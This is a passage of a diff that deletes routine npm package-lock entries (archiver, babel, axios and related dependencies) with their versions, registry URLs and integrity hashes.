"sha1-5QtMCccL89aA4y/xt5lOn52JUXQ=", - "dev": true, - "dependencies": { - "glob": "^7.0.0", - "graceful-fs": "^4.1.0", - "lazystream": "^1.0.0", - "lodash": "^4.8.0", - "normalize-path": "^2.0.0", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 0.10.0" - } - }, - "node_modules/archiver-utils/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/archiver-utils/node_modules/lazystream": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.0.tgz", - "integrity": "sha1-9plf4PggOS9hOWvolGJAe7dxaOQ=", - "dev": true, - "dependencies": { - "readable-stream": "^2.0.5" - }, - "engines": { - "node": ">= 0.6.3" - } - }, - "node_modules/archiver-utils/node_modules/lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==", - "dev": true - }, - "node_modules/archiver/node_modules/archiver-utils": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-2.1.0.tgz", - "integrity": "sha512-bEL/yUb/fNNiNTuUz979Z0Yg5L+LzLxGJz8x79lYmR54fmTIb6ob/hNQgkQnIUDWIFjZVQwl9Xs356I6BAMHfw==", - "dev": true, - "dependencies": { - "glob": "^7.1.4", - "graceful-fs": "^4.2.0", - "lazystream": "^1.0.0", - "lodash.defaults": "^4.2.0", - "lodash.difference": "^4.5.0", - "lodash.flatten": "^4.4.0", - "lodash.isplainobject": "^4.0.6", - "lodash.union": "^4.6.0", - "normalize-path": "^3.0.0", - "readable-stream": "^2.0.0" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/archiver/node_modules/archiver-utils/node_modules/readable-stream": { - "version": "2.3.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz", - "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", - "dev": true, - "dependencies": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "node_modules/archiver/node_modules/async": { - "version": "2.6.3", - "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz", - "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==", - "dev": true, - "dependencies": { - "lodash": "^4.17.14" - } - }, - "node_modules/archiver/node_modules/bl": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/bl/-/bl-3.0.0.tgz", - "integrity": "sha512-EUAyP5UHU5hxF8BPT0LKW8gjYLhq1DQIcneOX/pL/m2Alo+OYDQAJlHq+yseMP50Os2nHXOSic6Ss3vSQeyf4A==", - "dev": true, - "dependencies": { - "readable-stream": "^3.0.1" - } - }, - "node_modules/archiver/node_modules/glob": { - "version": "7.1.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.4.tgz", - "integrity": "sha512-hkLPepehmnKk41pUGm3sYxoFs/umurYfYJCerbXEyFIWcAzvpipAgVkBqqT9RBKMGjnq6kMuyYwha6csxbiM1A==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/archiver/node_modules/graceful-fs": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.0.tgz", - "integrity": "sha512-jpSvDPV4Cq/bgtpndIWbI5hmYxhQGHPC4d4cqBPb4DLniCfhJokdXhwhaDuLBGLQdvvRum/UiX6ECVIPvDXqdg==", - "dev": true - }, - "node_modules/archiver/node_modules/lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "node_modules/archiver/node_modules/normalize-path": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", - "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/archiver/node_modules/process-nextick-args": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", - "dev": true - }, - "node_modules/archiver/node_modules/readable-stream": { - "version": "3.4.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.4.0.tgz", - "integrity": "sha512-jItXPLmrSR8jmTRmRWJXCnGJsfy85mB3Wd/uINMXA65yrnFo0cPClFIUWzo2najVNSl+mx7/4W8ttlLWJe99pQ==", - "dev": true, - "dependencies": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/archiver/node_modules/string_decoder": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", - "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", - "dev": true, - "dependencies": { - "safe-buffer": "~5.1.0" - } - }, - "node_modules/archiver/node_modules/tar-stream": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.1.0.tgz", - "integrity": "sha512-+DAn4Nb4+gz6WZigRzKEZl1QuJVOLtAwwF+WUxy1fJ6X63CaGaUAxJRD2KEn1OMfcbCjySTYpNC6WmfQoIEOdw==", - "dev": true, - "dependencies": { - "bl": "^3.0.0", - "end-of-stream": "^1.4.1", - "fs-constants": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^3.1.1" - } - }, - "node_modules/are-we-there-yet": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.4.tgz", - "integrity": "sha1-u13KOCu5TwXhUZQ3PRb9O6HKEQ0=", - "dev": true, - "dependencies": { - "delegates": "^1.0.0", - "readable-stream": "^2.0.6" - } - }, - "node_modules/argparse": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", - "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", - "dev": true, - "dependencies": { - "sprintf-js": "~1.0.2" - } - }, - "node_modules/arr-diff": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-2.0.0.tgz", - "integrity": "sha1-jzuCf5Vai9ZpaX5KQlasPOrjVs8=", - "dev": true, - "dependencies": { - "arr-flatten": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/arr-flatten": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.0.3.tgz", - "integrity": "sha1-onTthawIhJtr14R8RYB0XcUa37E=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/arr-union": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz", - "integrity": "sha1-45sJrqne+Gao8gbiiK9jkZuuOcQ=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/array-filter": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/array-filter/-/array-filter-0.0.1.tgz", - "integrity": "sha1-fajPLiZijtcygDWB/SH2fKzS7uw=", - "dev": true - }, - "node_modules/array-find-index": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", - "integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/array-map": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/array-map/-/array-map-0.0.0.tgz", - "integrity": "sha1-iKK6tz0c97zVwbEYoAP2b2ZfpmI=", - "dev": true - }, - "node_modules/array-reduce": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/array-reduce/-/array-reduce-0.0.0.tgz", - "integrity": "sha1-FziZ0//Rx9k4PkR5Ul2+J4yrXys=", - "dev": true - }, - "node_modules/array-union": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/array-union/-/array-union-1.0.2.tgz", - "integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=", - "dev": true, - "dependencies": { - "array-uniq": "^1.0.1" - }, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/array-uniq": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.3.tgz", - "integrity": "sha1-r2rId6Jcx/dOBYiUdThY39sk/bY=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/array-unique": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.2.1.tgz", - "integrity": "sha1-odl8yvy8JiXMcPrc6zalDFiwGlM=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/arrify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", - "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/asap": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=", - "dev": true - }, - "node_modules/asn1": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", - "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=", - "dev": true - }, - "node_modules/asn1.js": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.9.1.tgz", - "integrity": "sha1-SLokC0WpKA6UdImQull9IWYX/UA=", - "dev": true, - "dependencies": { - "bn.js": "^4.0.0", - "inherits": "^2.0.1", - "minimalistic-assert": "^1.0.0" - } - }, - "node_modules/assert": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz", - "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=", - "dev": true, - "dependencies": { - "util": "0.10.3" - } - }, - "node_modules/assert-never": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/assert-never/-/assert-never-1.2.1.tgz", - "integrity": "sha512-TaTivMB6pYI1kXwrFlEhLeGfOqoDNdTxjCdwRfFFkEA30Eu+k48W34nlok2EYWJfFFzqaEmichdNM7th6M5HNw==", - "dev": true - }, - "node_modules/assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "dev": true, - "engines": { - "node": ">=0.8" - } - }, - "node_modules/assign-symbols": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz", - "integrity": "sha1-WWZ/QfrdTyDMvCu5a41Pf3jsA2c=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/async": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", - "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", - "dev": true - }, - "node_modules/async-each": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/async-each/-/async-each-1.0.1.tgz", - "integrity": "sha1-GdOGodntxufByF04iu28xW0zYC0=", - "dev": true - }, - "node_modules/async-foreach": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/async-foreach/-/async-foreach-0.1.3.tgz", - "integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/asynckit": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", - "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=", - "dev": true - }, - "node_modules/atob": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz", - "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=", - "dev": true, - "bin": { - "atob": "bin/atob.js" - }, - "engines": { - "node": ">= 4.5.0" - } - }, - "node_modules/autoprefixer": { - "version": "6.7.7", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-6.7.7.tgz", - "integrity": "sha1-Hb0cg1ZY41zj+ZhAmdsAWFx4IBQ=", - "dev": true, - "dependencies": { - "browserslist": "^1.7.6", - "caniuse-db": "^1.0.30000634", - "normalize-range": "^0.1.2", - "num2fraction": "^1.2.2", - "postcss": "^5.2.16", - "postcss-value-parser": "^3.2.3" - } - }, - "node_modules/autoprefixer/node_modules/browserslist": { - "version": "1.7.7", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-1.7.7.tgz", - "integrity": "sha1-C9dnBCWL6CmyOYu1Dkti0aFmsLk=", - "deprecated": "Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.", - "dev": true, - "dependencies": { - "caniuse-db": "^1.0.30000639", - "electron-to-chromium": "^1.2.7" - }, - "bin": { - "browserslist": "cli.js" - } - }, - "node_modules/aws-sign2": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", - "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", - "dev": true, - "engines": { - "node": "*" - } - }, - "node_modules/aws4": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.6.0.tgz", - "integrity": "sha1-g+9cqGCysy5KDe7e6MdxudtXRx4=", - "dev": true, - "optional": true - }, - "node_modules/axios": { - "version": "0.19.0", - "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.0.tgz", - "integrity": "sha512-1uvKqKQta3KBxIz14F2v06AEHZ/dIoeKfbTRkK1E5oqjDnuEerLmYTgJB5AiQZHJcljpg1TuRzdjDR06qNk0DQ==", - "deprecated": "Critical security vulnerability fixed in v0.21.1. For more information, see https://github.com/axios/axios/pull/3410", - "dev": true, - "dependencies": { - "follow-redirects": "1.5.10", - "is-buffer": "^2.0.2" - } - }, - "node_modules/axios/node_modules/is-buffer": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.3.tgz", - "integrity": "sha512-U15Q7MXTuZlrbymiz95PJpZxu8IlipAp4dtS3wOdgPXx3mqBnslrWU14kxfHB+Py/+2PVKSr37dMAgM2A4uArw==", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/babel-cli": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-cli/-/babel-cli-6.26.0.tgz", - "integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=", - "dev": true, - "dependencies": { - "babel-core": "^6.26.0", - "babel-polyfill": "^6.26.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "commander": "^2.11.0", - "convert-source-map": "^1.5.0", - "fs-readdir-recursive": "^1.0.0", - "glob": "^7.1.2", - "lodash": "^4.17.4", - "output-file-sync": "^1.1.2", - "path-is-absolute": "^1.0.1", - "slash": "^1.0.0", - "source-map": "^0.5.6", - "v8flags": "^2.1.1" - }, - "bin": { - "babel": "bin/babel.js", - "babel-doctor": "bin/babel-doctor.js", - "babel-external-helpers": "bin/babel-external-helpers.js", - "babel-node": "bin/babel-node.js" - }, - "optionalDependencies": { - "chokidar": "^1.6.1" - } - }, - "node_modules/babel-cli/node_modules/convert-source-map": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", - "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", - "dev": true - }, - "node_modules/babel-cli/node_modules/glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "dependencies": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - }, - "engines": { - "node": "*" - } - }, - "node_modules/babel-cli/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-code-frame": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", - "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", - "dependencies": { - "chalk": "^1.1.3", - "esutils": "^2.0.2", - "js-tokens": "^3.0.2" - } - }, - "node_modules/babel-core": { - "version": "6.26.3", - "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-6.26.3.tgz", - "integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==", - "dev": true, - "dependencies": { - "babel-code-frame": "^6.26.0", - "babel-generator": "^6.26.0", - "babel-helpers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-register": "^6.26.0", - "babel-runtime": "^6.26.0", - "babel-template": "^6.26.0", - "babel-traverse": "^6.26.0", - "babel-types": "^6.26.0", - "babylon": "^6.18.0", - "convert-source-map": "^1.5.1", - "debug": "^2.6.9", - "json5": "^0.5.1", - "lodash": "^4.17.4", - "minimatch": "^3.0.4", - "path-is-absolute": "^1.0.1", - "private": "^0.1.8", - "slash": "^1.0.0", - "source-map": "^0.5.7" - } - }, - "node_modules/babel-core/node_modules/convert-source-map": { - "version": "1.5.1", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", - "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", - "dev": true - }, - "node_modules/babel-core/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-core/node_modules/source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/babel-generator": { - "version": "6.26.1", - "resolved": "https://registry.npmjs.org/babel-generator/-/babel-generator-6.26.1.tgz", - "integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==", - "dev": true, - "dependencies": { - "babel-messages": "^6.23.0", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "detect-indent": "^4.0.0", - "jsesc": "^1.3.0", - "lodash": "^4.17.4", - "source-map": "^0.5.7", - "trim-right": "^1.0.1" - } - }, - "node_modules/babel-generator/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-generator/node_modules/source-map": { - "version": "0.5.7", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", - "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w=", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/babel-helper-bindify-decorators": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-bindify-decorators/-/babel-helper-bindify-decorators-6.24.1.tgz", - "integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=", - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-builder-binary-assignment-operator-visitor": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-builder-binary-assignment-operator-visitor/-/babel-helper-builder-binary-assignment-operator-visitor-6.24.1.tgz", - "integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=", - "dependencies": { - "babel-helper-explode-assignable-expression": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-builder-react-jsx": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-builder-react-jsx/-/babel-helper-builder-react-jsx-6.26.0.tgz", - "integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "esutils": "^2.0.2" - } - }, - "node_modules/babel-helper-call-delegate": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-call-delegate/-/babel-helper-call-delegate-6.24.1.tgz", - "integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=", - "dev": true, - "dependencies": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-define-map": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-define-map/-/babel-helper-define-map-6.26.0.tgz", - "integrity": "sha1-pfVtq0GiX5fstJjH66ypgZ+Vvl8=", - "dev": true, - "dependencies": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - } - }, - "node_modules/babel-helper-define-map/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-helper-explode-assignable-expression": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-explode-assignable-expression/-/babel-helper-explode-assignable-expression-6.24.1.tgz", - "integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=", - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-explode-class": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-explode-class/-/babel-helper-explode-class-6.24.1.tgz", - "integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=", - "dependencies": { - "babel-helper-bindify-decorators": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-function-name": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-function-name/-/babel-helper-function-name-6.24.1.tgz", - "integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=", - "dependencies": { - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-get-function-arity": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-get-function-arity/-/babel-helper-get-function-arity-6.24.1.tgz", - "integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=", - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-hoist-variables": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-hoist-variables/-/babel-helper-hoist-variables-6.24.1.tgz", - "integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-optimise-call-expression": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-optimise-call-expression/-/babel-helper-optimise-call-expression-6.24.1.tgz", - "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-regex": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-helper-regex/-/babel-helper-regex-6.26.0.tgz", - "integrity": "sha1-MlxZ+QL4LyS3T6zu0DY5VPZJXnI=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.26.0", - "babel-types": "^6.26.0", - "lodash": "^4.17.4" - } - }, - "node_modules/babel-helper-regex/node_modules/lodash": { - "version": "4.17.10", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", - "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", - "dev": true - }, - "node_modules/babel-helper-remap-async-to-generator": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-remap-async-to-generator/-/babel-helper-remap-async-to-generator-6.24.1.tgz", - "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", - "dependencies": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helper-replace-supers": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helper-replace-supers/-/babel-helper-replace-supers-6.24.1.tgz", - "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", - "dev": true, - "dependencies": { - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" - } - }, - "node_modules/babel-helpers": { - "version": "6.24.1", - "resolved": "https://registry.npmjs.org/babel-helpers/-/babel-helpers-6.24.1.tgz", - "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" - } - }, - "node_modules/babel-loader": { - "version": "7.1.5", - "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-7.1.5.tgz", - "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", - "dev": true, - "dependencies": { - "find-cache-dir": "^1.0.0", - "loader-utils": "^1.0.2", - "mkdirp": "^0.5.1" - }, - "engines": { - "node": ">=4" - }, - "peerDependencies": { - "babel-core": "6", - "webpack": "2 || 3 || 4" - } - }, - "node_modules/babel-messages": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/babel-messages/-/babel-messages-6.23.0.tgz", - "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - "node_modules/babel-plugin-check-es2015-constants": { - "version": "6.22.0", - "resolved": "https://registry.npmjs.org/babel-plugin-check-es2015-constants/-/babel-plugin-check-es2015-constants-6.22.0.tgz", - "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", - "dev": true, - "dependencies": { - "babel-runtime": "^6.22.0" - } - }, - 